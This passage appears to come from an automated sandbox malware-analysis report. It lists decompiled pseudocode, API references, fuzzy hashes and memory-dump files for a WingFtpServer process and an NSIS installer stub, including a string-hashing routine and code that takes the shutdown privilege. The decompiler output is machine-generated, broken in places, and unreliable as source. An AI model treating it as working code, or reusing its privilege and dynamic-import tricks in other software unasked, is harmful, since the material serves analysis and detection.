					_t39 = E03AA6EAC(_t67);
				}
				if(_v16 != 0) {
					 *0x3bd5c08(0, 0,  &_v20);
					_t68 = E03AACBC4( &_v12);
					if(_v8 != _v12 || E03AACBA0(_v16, _v12, _t68) != 0) {
						 *0x3bd5c08(8, _v16,  &_v20);
					}
					E03AA6EAC(_t68);
					return E03AA6EAC(_v16);
				}
				return _t39;
			}

0x03aacc10
0x03aacc12
0x03aacc16
0x03aacc22
0x03aacc2c
0x03aacc2f
0x03aacc31
0x03aacc38
0x03aacc3b
0x03aacc4c
0x03aacc52
0x03aacc55
0x03aacc58
0x03aacc5b
0x03aacc61
0x03aacc67
0x03aacc77
0x03aacc77
0x03aacc80
0x03aacc85
0x03aacc89
0x03aacc8e
0x03aacc93
0x03aacc95
0x03aacc96
0x03aacc9d
0x03aacca5
0x03aaccaa
0x03aaccaa
0x03aaccb0
0x03aaccb3
0x03aaccb3
0x03aacc9d
0x03aaccba
0x03aaccc1
0x03aaccc1
0x03aaccca
0x03aaccd4
0x03aacce2
0x03aaccea
0x03aacd07
0x03aacd07
0x03aacd0f
0x00000000
0x03aacd17
0x03aacd21

APIs

GetThreadUILanguage.KERNEL32(?,00000000), ref: 03AACC19
SetThreadPreferredUILanguages.KERNEL32(00000004,?,?), ref: 03AACC77
SetThreadPreferredUILanguages.KERNEL32(00000000,00000000,?), ref: 03AACCD4
SetThreadPreferredUILanguages.KERNEL32(00000008,?,?), ref: 03AACD07

Part of subcall function 03AACBC4: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,00000000,?,?,03AACC85), ref: 03AACBDB
Part of subcall function 03AACBC4: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,?,03AACC85), ref: 03AACBF8

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: Thread$LanguagesPreferred$Language
String ID:
API String ID: 2255706666-0
Opcode ID: 5418c6488aae701f00b72f011a3f267e700d2cf6826fd6c7ecb9da0011f6c0c6
Instruction ID: b7e5dfdf8725be7bb4df196910d041baa4cdbdba25788e3ad8d6f109742249e8
Opcode Fuzzy Hash: 5418c6488aae701f00b72f011a3f267e700d2cf6826fd6c7ecb9da0011f6c0c6
Instruction Fuzzy Hash: BC315076A0061A9BDB10EFACC984AEEB7B8EF04314F04456AD551EB390EB749A04CB50

Uniqueness

Uniqueness Score: -1.00%

Function 03AC8F24 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E03AC8F24(void* __eax) {
				intOrPtr* __esi;
				void* _t14;
				void* _t19;
				signed int _t24;
				unsigned int _t25;
				signed int _t37;
				void* _t39;
				void* _t42;
				WCHAR* _t43;
				void* _t48;
				WCHAR* _t49;

				_t42 = __eax;
				_push(__eax);
				while(1) {
					asm("rol eax, 0x5");
					__bl =  *__esi;
					if((__bl & 0x00000080) != 0) {
						break;
					}
					if(__bl == 0) {
						_pop(__ecx);
						_pop(__esi);
						return __eax;
					} else {
						if(__bl >= 0x41 && __bl <= 0x5a) {
							__bl = __bl | 0x00000020;
						}
						__al = __al ^ __bl;
						__esi = __esi + 1;
						continue;
					}
					L18:
				}
				_pop(__eax);
				_pop(__esi);
				_push(_t23);
				_push(_t42);
				_t49 = _t48 + 0xfffffdf8;
				_t24 = 0;
				_t46 = E03AAA0EC(0);
				_t39 = E03AAF334(0xfde9, 0, 0, 0, 0, _t7);
				if(_t39 <= 0x104) {
					_t43 = _t49;
				} else {
					_t43 = E03AA6E90(_t39 + _t39);
				}
				E03AAF334(0xfde9, _t24, 0, _t39, _t43, _t46);
				CharUpperW(_t43);
				_t25 = 0;
				_t14 = _t39 - 1;
				if(_t14 >= 0) {
					_t19 = _t14 + 1;
					_t37 = 0;
					do {
						_t25 = (_t25 << 0x00000005 | _t25 >> 0x0000001b) ^ _t43[_t37] & 0x0000ffff;
						_t37 = _t37 + 1;
						_t19 = _t19 - 1;
					} while (_t19 != 0);
				}
				if(_t43 != _t49) {
					E03AA6EAC(_t43);
				}
				return _t25;
				goto L18;
			}

0x03ac8f26
0x03ac8f2a
0x03ac8f2b
0x03ac8f2b
0x03ac8f2e
0x03ac8f33
0x00000000
0x00000000
0x03ac8f38
0x03ac8f4c
0x03ac8f4e
0x03ac8f4f
0x03ac8f3a
0x03ac8f3d
0x03ac8f44
0x03ac8f44
0x03ac8f47
0x03ac8f49
0x00000000
0x03ac8f49
0x00000000
0x03ac8f38
0x03ac8f50
0x03ac8f52
0x03ac8e90
0x03ac8e91
0x03ac8e94
0x03ac8e9a
0x03ac8ea3
0x03ac8eb8
0x03ac8ec0
0x03ac8ecf
0x03ac8ec2
0x03ac8ecb
0x03ac8ecb
0x03ac8edd
0x03ac8ee3
0x03ac8ee8
0x03ac8eec
0x03ac8eef
0x03ac8ef1
0x03ac8ef2
0x03ac8ef4
0x03ac8f04
0x03ac8f06
0x03ac8f07
0x03ac8f07
0x03ac8ef4
0x03ac8f0e
0x03ac8f12
0x03ac8f12
0x03ac8f23
0x00000000

APIs

CharUpperW.USER32(?,00000000,?,00000000,00000000,00000000,00000000,?,?,?,00000000,03ACC82B,00000000,03ACC97B), ref: 03AC8EE3

Strings

A, xrefs: 03AC8F3A
Z, xrefs: 03AC8F3F

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: CharUpper
String ID: A$Z
API String ID: 9403516-4098844585
Opcode ID: 0d18b3f72b60120146716ce7ea8d3a2c507f782a33ecf074f05505660ead0c4b
Instruction ID: 288b23cbbc727bbf75c2021dc5a6d300c87b5810455a3cf6a371295dc3ac1167
Opcode Fuzzy Hash: 0d18b3f72b60120146716ce7ea8d3a2c507f782a33ecf074f05505660ead0c4b
Instruction Fuzzy Hash: B9115612711A941BE734E17E5C807FB918FEB86260F4D063FE945CB380D9498C0143E1

Uniqueness

Uniqueness Score: -1.00%

Function 03AC91CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03AC91CC() {
				void* __ebx;
				struct HINSTANCE__* _t1;
				void* _t4;

				_t1 = GetModuleHandleW(L"kernel32.dll");
				_t3 = _t1;
				if(_t1 != 0) {
					_t1 = E03AB222C(_t3, _t4, _t3, L"GetDiskFreeSpaceExW");
					 *0x3bcee3c = _t1;
				}
				if( *0x3bcee3c == 0) {
					 *0x3bcee3c = E03AC1A8C;
					return E03AC1A8C;
				}
				return _t1;
			}

0x03ac91d2
0x03ac91d7
0x03ac91db
0x03ac91e3
0x03ac91e8
0x03ac91e8
0x03ac91f4
0x03ac91fb
0x00000000
0x03ac91fb
0x03ac9201

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,03AC92A8,00000000,03AC92C0,?,?,03AC925D), ref: 03AC91D2

Part of subcall function 03AB222C: GetProcAddress.KERNEL32(?,?), ref: 03AB2256

Strings

GetDiskFreeSpaceExW, xrefs: 03AC91DD
kernel32.dll, xrefs: 03AC91CD

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExW$kernel32.dll
API String ID: 1646373207-1127948838
Opcode ID: 9f1ad71384adc38fdc803818d324f40738a398f171c7ee38c2b3f7679b02edd7
Instruction ID: 0958cb08111776521b7446b77a8452ac9bbd19cc665cab89742137f2218ae69f
Opcode Fuzzy Hash: 9f1ad71384adc38fdc803818d324f40738a398f171c7ee38c2b3f7679b02edd7
Instruction Fuzzy Hash: C8D09E746B038EEEE794EBE565C5B5675989709356F04542FD0508B606E7A0C4008F24

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wns22DB.tmpPID: 4880, Parent PID: 4228COMMON

Execution Graph

Execution Coverage:	17.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.8%
Total number of Nodes:	1362
Total number of Limit Nodes:	22

Executed Functions

Function 004034A5 Relevance: 80.9, APIs: 33, Strings: 13, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			_entry_() {
				signed int _t51;
				intOrPtr* _t56;
				short* _t62;
				void* _t65;
				void* _t67;
				int _t69;
				int _t70;
				int _t73;
				intOrPtr* _t74;
				int _t75;
				int _t77;
				void* _t101;
				signed int _t118;
				void* _t121;
				void* _t126;
				intOrPtr _t145;
				intOrPtr _t146;
				intOrPtr* _t147;
				int _t149;
				void* _t152;
				int _t153;
				signed int _t157;
				signed int _t162;
				signed int _t167;
				void* _t169;
				signed int _t173;
				signed int _t176;
				CHAR* _t177;
				void* _t180;
				int* _t182;
				void* _t190;
				void* _t194;
				void* _t195;

				_t169 = 0x20;
				_t149 = 0;
				 *(_t195 + 0x14) = 0;
				 *(_t195 + 0x10) = L"Error writing temporary file. Make sure your temp folder is valid.";
				 *(_t195 + 0x1c) = 0;
				SetErrorMode(0x8001); // executed
				_t51 = GetVersion() & 0xbfffffff;
				 *0x47024c = _t51;
				if(_t51 != 6) {
					_t147 = E004067C2(0);
					if(_t147 != 0) {
						 *_t147(0xc00);
					}
				}
				_t177 = "UXTHEME";
				goto L4;
				L8:
				__imp__#17(_t190);
				__imp__OleInitialize(_t149); // executed
				 *0x470318 = _t56;
				SHGetFileInfoW(0x4366e8, _t149, _t195 + 0x34, 0x2b4, _t149); // executed
				E004063E8(0x468240, L"NSIS Error");
				E004063E8(0x4c1000, GetCommandLineW());
				 *0x470240 = 0x400000;
				_t62 = 0x4c1000;
				if( *0x4c1000 == 0x22) {
					_t62 = 0x4c1002;
					_t169 = 0x22;
				}
				_t153 = CharNextW(E00405CEA(_t62, _t169));
				 *(_t195 + 0x18) = _t153;
				_t65 =  *_t153;
				if(_t65 == _t149) {
					L33:
					GetTempPathW(0x2000, 0x4d5000);
					_t67 = E00403474(_t153, 0);
					_t223 = _t67;
					if(_t67 != 0) {
						L36:
						DeleteFileW(0x4d1000); // executed
						_t69 = E00402F30(_t225,  *(_t195 + 0x1c)); // executed
						 *(_t195 + 0x10) = _t69;
						if(_t69 != _t149) {
							L48:
							ExitProcess(); // executed
							__imp__OleUninitialize(); // executed
							_t237 =  *(_t195 + 0x10) - _t149;
							if( *(_t195 + 0x10) == _t149) {
								__eflags =  *0x4702f4 - _t149;
								if( *0x4702f4 == _t149) {
									L72:
									_t70 =  *0x47030c;
									__eflags = _t70 - 0xffffffff;
									if(_t70 != 0xffffffff) {
										 *(_t195 + 0x10) = _t70;
									}
									ExitProcess( *(_t195 + 0x10));
								}
								_t73 = OpenProcessToken(GetCurrentProcess(), 0x28, _t195 + 0x14);
								__eflags = _t73;
								if(_t73 != 0) {
									LookupPrivilegeValueW(_t149, L"SeShutdownPrivilege", _t195 + 0x20);
									 *(_t195 + 0x34) = 1;
									 *(_t195 + 0x40) = 2;
									AdjustTokenPrivileges( *(_t195 + 0x28), _t149, _t195 + 0x24, _t149, _t149, _t149);
								}
								_t74 = E004067C2(4);
								__eflags = _t74 - _t149;
								if(_t74 == _t149) {
									L70:
									_t75 = ExitWindowsEx(2, 0x80040002);
									__eflags = _t75;
									if(_t75 != 0) {
										goto L72;
									}
									goto L71;
								} else {
									_t77 =  *_t74(_t149, _t149, _t149, 0x25, 0x80040002);
									__eflags = _t77;
									if(_t77 == 0) {
										L71:
										E0040140B(9);
										goto L72;
									}
									goto L70;
								}
							}
							E00405A4E( *(_t195 + 0x10), 0x200010);
							ExitProcess(2);
						}
						if( *0x470260 == _t149) {
							L47:
							 *0x47030c =  *0x47030c | 0xffffffff;
							 *(_t195 + 0x14) = E00403AD8( *0x47030c);
							goto L48;
						}
						_t182 = E00405CEA(0x4c1000, _t149);
						if(_t182 < 0x4c1000) {
							L44:
							_t234 = _t182 - 0x4c1000;
							 *(_t195 + 0x10) = L"Error launching installer";
							if(_t182 < 0x4c1000) {
								_t180 = E004059B9(_t237);
								lstrcatW(0x4d5000, L"~nsu");
								if(_t180 != _t149) {
									lstrcatW(0x4d5000, "A");
								}
								lstrcatW(0x4d5000, L".tmp");
								if(lstrcmpiW(0x4d5000, 0x4cd000) != 0) {
									_push(0x4d5000);
									if(_t180 == _t149) {
										E0040599C();
									} else {
										E0040591F();
									}
									SetCurrentDirectoryW(0x4d5000);
									if( *0x4c5000 == _t149) {
										E004063E8(0x4c5000, 0x4cd000);
									}
									E004063E8(L"start OK\r\n",  *(_t195 + 0x18));
									_t154 = "A" & 0x0000ffff;
									 *0x475000 = ( *0x40a316 & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
									_t194 = 0x1a;
									do {
										E0040640A(_t149, 0x4d5000, 0x4326e8, 0x4326e8,  *((intOrPtr*)( *0x470254 + 0x120)));
										DeleteFileW(0x4326e8);
										if( *(_t195 + 0x10) != _t149 && CopyFileW(0x4dd000, 0x4326e8, 1) != 0) {
											E004061AE(_t154, 0x4326e8, _t149);
											E0040640A(_t149, 0x4d5000, 0x4326e8, 0x4326e8,  *((intOrPtr*)( *0x470254 + 0x124)));
											_t101 = E004059D1(0x4326e8);
											if(_t101 != _t149) {
												CloseHandle(_t101);
												 *(_t195 + 0x10) = _t149;
											}
										}
										 *0x475000 =  *0x475000 + 1;
										_t194 = _t194 - 1;
									} while (_t194 != 0);
									E004061AE(_t154, 0x4d5000, _t149);
								}
								goto L48;
							}
							 *_t182 = _t149;
							_t183 =  &(_t182[2]);
							if(E00405DC5(_t234,  &(_t182[2])) == 0) {
								goto L48;
							}
							E004063E8(0x4c5000, _t183);
							E004063E8(0x4c9000, _t183);
							 *(_t195 + 0x10) = _t149;
							goto L47;
						}
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_t157 = ( *0x40a33a & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
						_t118 = ( *0x40a33e & 0x0000ffff) << 0x00000010 |  *0x40a33c & 0x0000ffff | (_t162 << 0x00000020 |  *0x40a33e & 0x0000ffff) << 0x10;
						while( *_t182 != _t157 || _t182[1] != _t118) {
							_t182 = _t182;
							if(_t182 >= 0x4c1000) {
								continue;
							}
							break;
						}
						_t149 = 0;
						goto L44;
					}
					GetWindowsDirectoryW(0x4d5000, 0x1ffb);
					lstrcatW(0x4d5000, L"\\Temp");
					_t121 = E00403474(_t153, _t223);
					_t224 = _t121;
					if(_t121 != 0) {
						goto L36;
					}
					GetTempPathW(0x1ffc, 0x4d5000);
					lstrcatW(0x4d5000, L"Low");
					SetEnvironmentVariableW(L"TEMP", 0x4d5000);
					SetEnvironmentVariableW(L"TMP", 0x4d5000);
					_t126 = E00403474(_t153, _t224);
					_t225 = _t126;
					if(_t126 == 0) {
						goto L48;
					}
					goto L36;
				} else {
					do {
						_t152 = 0x20;
						if(_t65 != _t152) {
							L13:
							if( *_t153 == 0x22) {
								_t153 = _t153 + 2;
								_t152 = 0x22;
							}
							if( *_t153 != 0x2f) {
								goto L27;
							} else {
								_t153 = _t153 + 2;
								if( *_t153 == 0x53) {
									_t146 =  *((intOrPtr*)(_t153 + 2));
									if(_t146 == 0x20 || _t146 == 0) {
										 *0x470300 = 1;
									}
								}
								asm("cdq");
								asm("cdq");
								_t167 = L"NCRC" & 0x0000ffff;
								asm("cdq");
								_t173 = ( *0x40a37e & 0x0000ffff) << 0x00000010 |  *0x40a37c & 0x0000ffff | _t167;
								if( *_t153 == (( *0x40a37a & 0x0000ffff) << 0x00000010 | _t167) &&  *((intOrPtr*)(_t153 + 4)) == _t173) {
									_t145 =  *((intOrPtr*)(_t153 + 8));
									if(_t145 == 0x20 || _t145 == 0) {
										 *(_t195 + 0x1c) =  *(_t195 + 0x1c) | 0x00000004;
									}
								}
								asm("cdq");
								asm("cdq");
								_t162 = L" /D=" & 0x0000ffff;
								asm("cdq");
								_t176 = ( *0x40a372 & 0x0000ffff) << 0x00000010 |  *0x40a370 & 0x0000ffff | _t162;
								if( *(_t153 - 4) != (( *0x40a36e & 0x0000ffff) << 0x00000010 | _t162) ||  *_t153 != _t176) {
									goto L27;
								} else {
									 *(_t153 - 4) =  *(_t153 - 4) & 0x00000000;
									__eflags = _t153;
									E004063E8(0x4c5000, _t153);
									L32:
									_t149 = 0;
									goto L33;
								}
							}
						} else {
							goto L12;
						}
						do {
							L12:
							_t153 = _t153 + 2;
						} while ( *_t153 == _t152);
						goto L13;
						L27:
						_t153 = E00405CEA(_t153, _t152);
						if( *_t153 == 0x22) {
							_t153 = _t153 + 2;
						}
						_t65 =  *_t153;
					} while (_t65 != 0);
					goto L32;
				}
				L4:
				E00406752(_t177); // executed
				_t177 =  &(_t177[lstrlenA(_t177) + 1]);
				if( *_t177 != 0) {
					goto L4;
				} else {
					E004067C2(0xa);
					 *0x470244 = E004067C2(8);
					_t56 = E004067C2(6);
					if(_t56 != _t149) {
						_t56 =  *_t56(0x1e);
						if(_t56 != 0) {
							 *0x47024f =  *0x47024f | 0x00000040;
						}
					}
					goto L8;
				}
			}

0x004034b0
0x004034b1
0x004034b8
0x004034bc
0x004034c4
0x004034c8
0x004034d4
0x004034dd
0x004034e2
0x004034e5
0x004034ec
0x004034f3
0x004034f3
0x004034ec
0x004034f5
0x004034f5
0x0040353d
0x0040353e
0x00403545
0x0040354b
0x00403561
0x00403571
0x00403583
0x00403590
0x0040359a
0x0040359c
0x004035a0
0x004035a5
0x004035a5
0x004035b4
0x004035b6
0x004035ba
0x004035c0
0x004036d7
0x004036e8
0x004036ea
0x004036ef
0x004036f1
0x00403749
0x0040374e
0x00403758
0x0040375f
0x00403763
0x00403814
0x00403814
0x00403819
0x0040381f
0x00403824
0x0040394a
0x00403950
0x004039ce
0x004039ce
0x004039d3
0x004039d6
0x004039d8
0x004039d8
0x004039e0
0x004039e0
0x00403960
0x00403966
0x00403968
0x00403975
0x00403988
0x00403990
0x00403998
0x00403998
0x004039a0
0x004039a5
0x004039ac
0x004039ba
0x004039bd
0x004039c3
0x004039c5
0x00000000
0x00000000
0x00000000
0x004039ae
0x004039b4
0x004039b6
0x004039b8
0x004039c7
0x004039c9
0x00000000
0x004039c9
0x00000000
0x004039b8
0x004039ac
0x00403833
0x0040383a
0x0040383a
0x0040376f
0x00403804
0x00403804
0x00403810
0x00000000
0x00403810
0x0040377c
0x00403780
0x004037ce
0x004037ce
0x004037d0
0x004037d8
0x0040384b
0x0040384d
0x00403854
0x0040385c
0x0040385c
0x00403867
0x0040387b
0x0040387f
0x00403880
0x00403889
0x00403882
0x00403882
0x00403882
0x0040388f
0x0040389c
0x004038a4
0x004038a4
0x004038b2
0x004038be
0x004038cc
0x004038d1
0x004038d7
0x004038e3
0x004038e9
0x004038f3
0x00403909
0x0040391a
0x00403920
0x00403927
0x0040392a
0x00403930
0x00403930
0x00403927
0x00403934
0x0040393b
0x0040393b
0x00403940
0x00403940
0x00000000
0x0040387b
0x004037da
0x004037dd
0x004037e8
0x00000000
0x00000000
0x004037f0
0x004037fb
0x00403800
0x00000000
0x00403800
0x00403789
0x004037a1
0x004037b2
0x004037b3
0x004037b7
0x004037b9
0x004037c7
0x004037ca
0x00000000
0x00000000
0x00000000
0x004037ca
0x004037cc
0x00000000
0x004037cc
0x004036f9
0x00403705
0x0040370a
0x0040370f
0x00403711
0x00000000
0x00000000
0x00403719
0x00403721
0x00403732
0x0040373a
0x0040373c
0x00403741
0x00403743
0x00000000
0x00000000
0x00000000
0x004035c6
0x004035c6
0x004035c8
0x004035cc
0x004035d5
0x004035d9
0x004035de
0x004035df
0x004035df
0x004035e4
0x00000000
0x004035ea
0x004035eb
0x004035f0
0x004035f2
0x004035fa
0x00403601
0x00403601
0x004035fa
0x00403612
0x00403625
0x00403626
0x0040363b
0x00403640
0x00403644
0x0040364d
0x00403655
0x0040365c
0x0040365c
0x00403655
0x00403668
0x0040367b
0x0040367c
0x00403691
0x00403697
0x0040369b
0x00000000
0x004036c2
0x004036c2
0x004036c7
0x004036d0
0x004036d5
0x004036d5
0x00000000
0x004036d5
0x0040369b
0x00000000
0x00000000
0x00000000
0x004035ce
0x004035ce
0x004035cf
0x004035d0
0x00000000
0x004036a3
0x004036aa
0x004036b0
0x004036b3
0x004036b3
0x004036b4
0x004036b7
0x00000000
0x004036c0
0x004034fa
0x004034fb
0x00403507
0x0040350e
0x00000000
0x00403510
0x00403512
0x00403520
0x00403525
0x0040352c
0x00403530
0x00403534
0x00403536
0x00403536
0x00403534
0x00000000
0x0040352c

APIs

SetErrorMode.KERNELBASE ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004366E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00468240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,004C1000,00000020,004C1000,00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00002000,004D5000,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(004D5000,00001FFB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(004D5000,\Temp), ref: 00403705
GetTempPathW.KERNEL32(00001FFC,004D5000,004D5000,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(004D5000,Low), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,004D5000,004D5000,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,004D5000,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNELBASE(004D1000,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00002000,00403576,00468240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

ExitProcess.KERNEL32(00000006,?,00000006,00000008,0000000A), ref: 00403814
OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(004D5000,~nsu), ref: 0040384D
lstrcatW.KERNEL32(004D5000,0040A328), ref: 0040385C
lstrcatW.KERNEL32(004D5000,.tmp), ref: 00403867
lstrcmpiW.KERNEL32(004D5000,004CD000,004D5000,.tmp,004D5000,~nsu,004C1000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(004D5000,004D5000,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(004326E8,004326E8,?,start OK,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(004DD000,004326E8,00000001,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,004326E8,004326E8,?,004326E8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

Error launching installer, xrefs: 004037D0
Low, xrefs: 0040371B
NSIS Error, xrefs: 00403567
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
\Temp, xrefs: 004036FF
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
.tmp, xrefs: 00403861
~nsu, xrefs: 00403845
&C, xrefs: 004038D2
TMP, xrefs: 00403735
start OK, xrefs: 004038AD
TEMP, xrefs: 0040372D
SeShutdownPrivilege, xrefs: 0040396F

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: Processlstrcat$ExitFile$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$start OK$~nsu$&C
API String ID: 424501083-3895494604
Opcode ID: f53affb97ce786d659da796e96bdb87e4451feeb6c24bf85a4d3977c79a12d6f
Instruction ID: a55e1ba19ca46540f0e819ab7f1242b390505e394ddfc82397b04f5546c7078a
Opcode Fuzzy Hash: f53affb97ce786d659da796e96bdb87e4451feeb6c24bf85a4d3977c79a12d6f
Instruction Fuzzy Hash: 63D1D671600310AAD7206F769D49B3B3AACEB4074AF10443FF985B62D2DBBD8D45876E

Uniqueness

Uniqueness Score: -1.00%

Function 00405AFA Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00405AFA(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				short _v556;
				short _v558;
				struct _WIN32_FIND_DATAW _v604;
				signed int _t38;
				signed int _t52;
				signed int _t55;
				signed int _t62;
				void* _t64;
				signed char _t65;
				WCHAR* _t66;
				void* _t67;
				WCHAR* _t68;
				void* _t70;

				_t65 = _a8;
